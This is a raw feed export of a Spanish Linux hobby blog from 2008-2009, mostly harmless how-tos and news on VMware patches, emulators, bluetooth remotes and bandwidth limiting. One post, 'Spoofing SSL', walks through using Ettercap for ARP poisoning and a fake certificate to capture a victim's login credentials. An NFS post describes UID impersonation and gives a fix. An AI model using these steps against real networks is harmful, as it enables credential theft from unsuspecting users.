href='http://www.blogger.com/feeds/30617063/posts/default/7111822205363813234'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7111822205363813234'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/04/streaming-de-radio-en-linux.html' title='Streaming de radio en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SdOHcjuUWVI/AAAAAAAAAKk/JV_O20Fq7is/s72-c/mini-Linuxpower.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-5278020466469242754</id><published>2009-03-30T16:06:00.007+02:00</published><updated>2009-12-29T08:25:54.565+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Virtualización'/><title type='text'>Hee vuelto!!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SdDUrYrXA3I/AAAAAAAAAKc/8fgf8aw-xAI/s1600-h/small.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 86px; height: 86px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SdDUrYrXA3I/AAAAAAAAAKc/8fgf8aw-xAI/s200/small.jpg" alt="" id="BLOGGER_PHOTO_ID_5318985001748333426" border="0" /&gt;&lt;/a&gt;Si amigos, tras una gran temporada sin dar signos de vida he vuelto, he estado ocupado buscando mi primer trabajo, además ya tengo Debian Lenny 5.0 versión estable, recien instalada en mi nuevo portatil y lista para hacer el mal, jejeje.&lt;br /&gt;&lt;br /&gt;Al tener una distro nueva mis sources son otras diferentes a las que tenía anteriormente, de todos modos a la derecha voy a ir colgando mis sources.list.&lt;br /&gt;&lt;br /&gt;En esta ocasión voy a explicar como solventar un problemilla que tuve con VMware y el kernel 2.6.29, la instalación concluía de forma correcta pero la compilación de los módulos fallaba.&lt;br /&gt;&lt;br /&gt;Para solventar este problema se debe de aplicar un &lt;a href="http://www.divshare.com/download/6962329-9a1"&gt;parche&lt;/a&gt;, una vez hecho esto compila sin problema alguno.&lt;br /&gt;&lt;br /&gt;Para aplicarlo hay que ejecutar como root los siguientes comandos:&lt;br /&gt;cd /usr/lib/vmware/modules/source/; mkdir orig; cp *.tar orig/; for i in `ls *.tar`; do tar -xf $i; done; rm *.tar; patch -p1 -i &lt;span style="font-weight: bold;"&gt;"RUTA HASTA EL PARCHE"&lt;/span&gt;; for i in mblock mci mmon mnet mppuser sock; do tar -cf v$i.tar v$i-only; done; rm -r *-only&lt;br /&gt;&lt;br /&gt;Espero que le haya servido a mas de uno, en fín un placer ayudar y recordad "El conocimiento humano pertenece al mundo" ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-5278020466469242754?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/5278020466469242754/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=5278020466469242754' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5278020466469242754'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/5278020466469242754'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/03/hee-vuelto.html' title='Hee vuelto!!'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SdDUrYrXA3I/AAAAAAAAAKc/8fgf8aw-xAI/s72-c/small.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7766882948219242804</id><published>2009-01-05T17:41:00.005+01:00</published><updated>2009-12-29T08:10:56.853+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Spoofing SSL</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SWI9CSSpJtI/AAAAAAAAAJ8/qHyUyyuRj1Q/s1600-h/illustration179.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 159px; height: 200px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SWI9CSSpJtI/AAAAAAAAAJ8/qHyUyyuRj1Q/s200/illustration179.gif" alt="" id="BLOGGER_PHOTO_ID_5287856021965448914" border="0" /&gt;&lt;/a&gt;Por fin puedo hacer lo que hasta la fecha solo sabía hacer con Caín bajo Windows. Se trata de Ettercap, ya hablé de esta herramienta en una &lt;a href="http://laguaridadelmal.blogspot.com/2007/07/ettercap-ng-maravillosa-obra-maestra.html"&gt;anterior&lt;/a&gt; ocasión, pero esta vez la cosa va mas allá, vamos a engañar al usuario para que acepte un certificado falso y así poder sacar su nombre de usuario y su password.&lt;br /&gt;Primero instalamos la aplicación:&lt;br /&gt;apt-get install ettercap&lt;br /&gt;&lt;br /&gt;Ahora configuramos Ettercap para que sea capaz de tratar con SSL, editamos el fichero /etc/etter.conf&lt;br /&gt;vi /etc/etter.conf&lt;br /&gt;&lt;br /&gt;Descomentamos la línea:&lt;br /&gt;redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"&lt;br /&gt;&lt;br /&gt;Ahora entramos en modo consola como root:&lt;br /&gt;ettercap -C&lt;br /&gt;&lt;br /&gt;Nos dirigimos al menú Sniff --&gt; Unified Sniffing&lt;br /&gt;&lt;br /&gt;Buscamos los Hosts de nuestra red:&lt;br /&gt;Hosts --&gt;Scan for Hosts&lt;br /&gt;&lt;br /&gt;Listamos los Hosts encontrados:&lt;br /&gt;Hosts--&gt;Host List&lt;br /&gt;Presionamos 1 para la IP del Router y 2 para la IP de la víctima.&lt;br /&gt;&lt;br /&gt;Empezamos el envenenamiento de las tablas ARP:&lt;br /&gt;MITM--&gt;ARP Poisoning&lt;br /&gt;En parameters escribimos remote&lt;br /&gt;&lt;br /&gt;Empezamos el ataque:&lt;br /&gt;Start--&gt;Start Sniffing&lt;br /&gt;&lt;br /&gt;En la parte inferior "User Messages" podremos ver el usuario y su correspondiente password.&lt;br /&gt;Dejo una captura de un usuario imaginario accediendo a Gmail:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_JhkD20t_wqQ/SWJCbaw3mLI/AAAAAAAAAKM/0UKYhCnmYbc/s1600-h/SSL_Gmail.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px; height: 20px;" src="http://1.bp.blogspot.com/_JhkD20t_wqQ/SWJCbaw3mLI/AAAAAAAAAKM/0UKYhCnmYbc/s200/SSL_Gmail.jpg" alt="" id="BLOGGER_PHOTO_ID_5287861951294576818" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7766882948219242804?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7766882948219242804/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7766882948219242804' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7766882948219242804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7766882948219242804'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/01/spoofing-ssl.html' title='Spoofing SSL'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SWI9CSSpJtI/AAAAAAAAAJ8/qHyUyyuRj1Q/s72-c/illustration179.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-4846680698276848862</id><published>2009-01-04T11:42:00.007+01:00</published><updated>2009-12-29T08:26:03.585+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Controlar aplicaciones por bluetooth en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SWCwA3pGBlI/AAAAAAAAAJ0/tKQRNPkqKoo/s1600-h/anyremote.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 101px; height: 138px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SWCwA3pGBlI/AAAAAAAAAJ0/tKQRNPkqKoo/s200/anyremote.png" alt="" id="BLOGGER_PHOTO_ID_5287419491515762258" border="0" /&gt;&lt;/a&gt;Este artículo va a ser realmente interesante para la gente perezosa como yo que se mete dentro de la cama para ver alguna película pero al rato se da cuenta que el volumen no es el apropiado.&lt;br /&gt;Vamos a instalar una aplicación que actuará como servidor en nuestro equipo y nos permitirá conectarnos por infrarojos, bluetooth, wifi o incluso por TCP/IP.&lt;br /&gt;Emplearemos alguna de estas conexiones para enviarle comandos a nuestro equipo y que actúe en consecuencia.&lt;br /&gt;Instalamos dicho software:&lt;br /&gt;apt-get install &lt;a href="http://anyremote.sourceforge.net/"&gt;anyremote&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Nos bajamos de su &lt;a href="http://anyremote.sourceforge.net/dload.html"&gt;página&lt;/a&gt; la interfaz con el gestor de ventanas que empleemos, en mi caso Gnome.&lt;br /&gt;Lo instalamos como administrador con dpkg -i "paquete.deb"&lt;br /&gt;Ahora nos falta la parte del cliente en el móvil, nos &lt;a href="http://anyremote.sourceforge.net/dload.html"&gt;bajamos&lt;/a&gt; los .jar de la página y los dejamos dentro del móvil.&lt;br /&gt;&lt;br /&gt;Ahora arrancamos ganyremote y en configurar preferencias:&lt;br /&gt;En la sección Directorios añadimos: /etc/anyremote/Server-mode&lt;br /&gt;&lt;br /&gt;Indicamos que se trata de una sesión Gnome y ya lo tenemos, clickamos sobre el mando que aparecerá en la barra de Gnome y le indicamos la aplicación a usar cuando se conecte por bluetooth, en mi caso Xine.&lt;br /&gt;&lt;br /&gt;Ahora entramos a la aplicación desde el móvil y ya podemos controlar el audio y demás parámetros remotamente.&lt;br /&gt;El único problema encontrado con este programa es que solo se puede acceder al explorador de fichero si arranca ganyremote el usuario root.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-4846680698276848862?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/4846680698276848862/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=4846680698276848862' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4846680698276848862'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/4846680698276848862'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2009/01/controlar-aplicaciones-por-bluetooth-en.html' title='Controlar aplicaciones por bluetooth en Linux'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SWCwA3pGBlI/AAAAAAAAAJ0/tKQRNPkqKoo/s72-c/anyremote.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-7534580951625075743</id><published>2008-12-20T11:51:00.005+01:00</published><updated>2009-12-29T08:26:08.851+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Varios'/><title type='text'>Agencia Espacial Europea apuesta por el software libre</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_JhkD20t_wqQ/SUzPVXqegiI/AAAAAAAAAIc/pKvtl13UaZs/s1600-h/opensource.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 149px; height: 92px;" src="http://2.bp.blogspot.com/_JhkD20t_wqQ/SUzPVXqegiI/AAAAAAAAAIc/pKvtl13UaZs/s200/opensource.gif" alt="" id="BLOGGER_PHOTO_ID_5281824429035127330" border="0" /&gt;&lt;/a&gt;La ESA ha contratado el desarrollo del proyecto NEST, que al parecer sustituye a BEST, a una empresa canadiense. La gracia particular está en que el software se licencia GPL. NEST es 'Next ESA SAR Toolbox'. Se trata de un sistema para leer, post-procesar, analizar y visualizar el archivo de datos de las misiones SAR, incluyendo ERS-1 y 2, ENVISAT y Sentinel-1, y otros proyectos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-7534580951625075743?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/7534580951625075743/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=7534580951625075743' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7534580951625075743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/7534580951625075743'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/agencia-espacial-europea-apuesta-por-el.html' title='Agencia Espacial Europea apuesta por el software libre'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_JhkD20t_wqQ/SUzPVXqegiI/AAAAAAAAAIc/pKvtl13UaZs/s72-c/opensource.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-3937102627122437903</id><published>2008-12-18T15:03:00.004+01:00</published><updated>2009-12-29T08:26:14.990+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Emulador SuperNintendo</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_JhkD20t_wqQ/SUpY6QKVOnI/AAAAAAAAAIM/cwAY7twHv4Q/s1600-h/Pantallazo-7.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 183px; height: 146px;" src="http://3.bp.blogspot.com/_JhkD20t_wqQ/SUpY6QKVOnI/AAAAAAAAAIM/cwAY7twHv4Q/s200/Pantallazo-7.png" alt="" id="BLOGGER_PHOTO_ID_5281131270839286386" border="0" /&gt;&lt;/a&gt;Pues eso otro emulador, pero en esta ocasión para SuperNintendo, creo que con este los usuarios de Linux ya van bien servidos en cuanto a emuladores, no hay plataforma que se nos resista.&lt;br /&gt;&lt;br /&gt;Instalamos el emulador:&lt;br /&gt;apt-get install snes9x-x&lt;br /&gt;&lt;br /&gt;Para usar un mando se invoca snes de la siguiente manera:&lt;br /&gt;snes9x -joydev1 /dev/input/by-id/"Dispositivo de juego" "Ruta hasta la ROM"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-3937102627122437903?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/3937102627122437903/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=3937102627122437903' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3937102627122437903'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/3937102627122437903'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/emulador-supernintendo.html' title='Emulador SuperNintendo'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_JhkD20t_wqQ/SUpY6QKVOnI/AAAAAAAAAIM/cwAY7twHv4Q/s72-c/Pantallazo-7.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-421030122145747040</id><published>2008-12-18T13:21:00.004+01:00</published><updated>2009-12-29T08:26:21.794+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>Video OpenSource</title><content type='html'>Bonito video sobre el movimiento OpenSource, que lo disfruteis ;)&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-940203df30f5bc9d" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v13.nonxt3.googlevideo.com/videoplayback?id%3D940203df30f5bc9d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D7A40AD985D8734333E46FAF8A144FD609AC007B3.501EFB10CA2EAAB31500646CCE8865BE19581AC8%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D940203df30f5bc9d%26offsetms%3D5000%26itag%3Dw160%26sigh%3D4Bh0a5-iPdck7570Hj9xAWFTVG4&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v13.nonxt3.googlevideo.com/videoplayback?id%3D940203df30f5bc9d%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1331082414%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D7A40AD985D8734333E46FAF8A144FD609AC007B3.501EFB10CA2EAAB31500646CCE8865BE19581AC8%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D940203df30f5bc9d%26offsetms%3D5000%26itag%3Dw160%26sigh%3D4Bh0a5-iPdck7570Hj9xAWFTVG4&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-421030122145747040?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=940203df30f5bc9d&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/421030122145747040/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=421030122145747040' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/421030122145747040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/421030122145747040'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/video-opensource.html' title='Video OpenSource'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6482055535924083362</id><published>2008-12-18T00:09:00.003+01:00</published><updated>2009-12-29T08:07:32.478+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Kernel'/><title type='text'>Kernel Linux mas seguro que las aplicaciones cerradas</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUmHL87xqCI/AAAAAAAAAIE/MXWANEPLPeM/s1600-h/operating_system.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 126px; height: 115px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUmHL87xqCI/AAAAAAAAAIE/MXWANEPLPeM/s200/operating_system.png" alt="" id="BLOGGER_PHOTO_ID_5280900677473773602" border="0" /&gt;&lt;/a&gt;Un estudio de 4 años de duración llevado a cabo por 5 investigadores de la Universidad de Stanford en el que se han analizado las 5,7 millones de líneas de código del kernel ha resuelto que Linux es un sistema mucho más seguro que la mayor parte del software propietario. El informe concluye que en el kernel 2.6 de Linux se han detectado únicamente 985 bugs, lo que da una media de tan solo 0,17 fallos por cada 1.000 líneas de código. Es una cifra sensiblemente inferior a la que se da en los programas comerciales, que se sitúa entre 20 y 30 por cada 1.000 líneas, según atestigua la Universidad Carnegie Mellon. De haberse seguido este promedio, se hubieran encontrado más de 140.000 errores en las 5,7 millones de líneas de código del kernel&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6482055535924083362?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6482055535924083362/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6482055535924083362' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6482055535924083362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6482055535924083362'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/kernel-linux-mas-seguro-que-las.html' title='Kernel Linux mas seguro que las aplicaciones cerradas'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SUmHL87xqCI/AAAAAAAAAIE/MXWANEPLPeM/s72-c/operating_system.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-6441676000859131342</id><published>2008-12-13T18:53:00.007+01:00</published><updated>2009-12-29T08:18:00.953+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad'/><title type='text'>Cuidado con NFS</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUP53YdNNmI/AAAAAAAAAH8/k2y3dMghhL4/s1600-h/secure_network.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 200px; height: 150px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUP53YdNNmI/AAAAAAAAAH8/k2y3dMghhL4/s200/secure_network.png" alt="" id="BLOGGER_PHOTO_ID_5279337918061426274" border="0" /&gt;&lt;/a&gt;Hace algún tiempo publiqué un &lt;a href="http://laguaridadelmal.blogspot.com/2007/09/directorios-remotos-con-nfs.html"&gt;artículo&lt;/a&gt; sobre como poner en funcionamiento un servidor &lt;a href="http://es.wikipedia.org/wiki/NFS"&gt;NFS&lt;/a&gt;, ahora explicaré que puede ser un servicio inseguro si se tiene algún directorio que se pueda montar de forma pública, o algún usuario con credenciales mal intencionado.&lt;br /&gt;NFS se basa en el &lt;a href="http://es.wikipedia.org/wiki/UID"&gt;UID&lt;/a&gt; y &lt;a href="http://es.wikipedia.org/wiki/GID"&gt;GID&lt;/a&gt;, ahora si un usuario consigue montar un directorio y observa los permisos de los ficheros fijándose en los propietarios podría crear el mismo usuario localmente y volver a conectarse, mareando de esta forma la perdiz y engañando a NFS permitiéndole acceder a ficheros que no le corresponden.&lt;br /&gt;Para mitigar este problema se puede tener una base de datos centralizada con &lt;a href="http://es.wikipedia.org/wiki/Network_Information_Service"&gt;NIS&lt;/a&gt; ó &lt;a href="http://en.wikipedia.org/wiki/NIS%2B"&gt;NIS+&lt;/a&gt;, de este forma los usuarios no se podrían falsear a no ser que se consiguiese hackear el servidor NIS.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/30617063-6441676000859131342?l=laguaridadelmal.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://laguaridadelmal.blogspot.com/feeds/6441676000859131342/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=30617063&amp;postID=6441676000859131342' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6441676000859131342'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/30617063/posts/default/6441676000859131342'/><link rel='alternate' type='text/html' href='http://laguaridadelmal.blogspot.com/2008/12/cudado-con-nfs.html' title='Cuidado con NFS'/><author><name>Kr0m</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://bp3.blogger.com/_JhkD20t_wqQ/SCwATpnLuNI/AAAAAAAAACQ/sR30JjfP6XA/S220/ranavatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_JhkD20t_wqQ/SUP53YdNNmI/AAAAAAAAAH8/k2y3dMghhL4/s72-c/secure_network.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-30617063.post-8608331181353955738</id><published>2008-12-13T15:09:00.005+01:00</published><updated>2009-12-29T08:18:06.716+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Administración'/><title type='text'>Limitar ancho de banda en Linux</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUPHO0lPTrI/AAAAAAAAAH0/QIsMAmQyPCI/s1600-h/Dibujo.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 160px; height: 122px;" src="http://4.bp.blogspot.com/_JhkD20t_wqQ/SUPHO0lPTrI/AAAAAAAAAH0/QIsMAmQyPCI/s200/Dibujo.jpg" alt="" id="BLOGGER_PHOTO_ID_5279282245655285426" border="0" /&gt;&lt;/a&gt;Seguro que más de una vez habéis empezado a descargar algún fichero de la red con wget o alguna herramienta similar, la descarga iba de maravilla pero en contrapartida la carga de las páginas web y todo lo que tenga que ver con el acceso a la red se ve penalizado.&lt;br /&gt;Para limitar la subida y bajada que pueda llegar a consumir cierta aplicación se puede emplear trickler.&lt;br /&gt;&lt;br /&gt;1-Instalamos trickler:&lt;br /&gt;apt-get install trickler&lt;br /&gt;2-Empezamos a usarlo:&lt;br /&gt;trickler -d "Máximo descarga" -u "Máximo subida" wget "URL"&lt;br /&gt;&lt;br /&gt;Con esto wget no consumirá mas ancho de banda de la cuenta ni en la subida ni en la descarga.&lt;br /&gt;También es recomendable su uso con &lt;a href="http://laguaridadelmal.blogspot.com/2007/02/mldonkey-en-debian.html"&gt;MlDonkey&lt;/a&gt; ya que a mí al menos no me hacía caso a la hora de limitar el ancho de banda.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 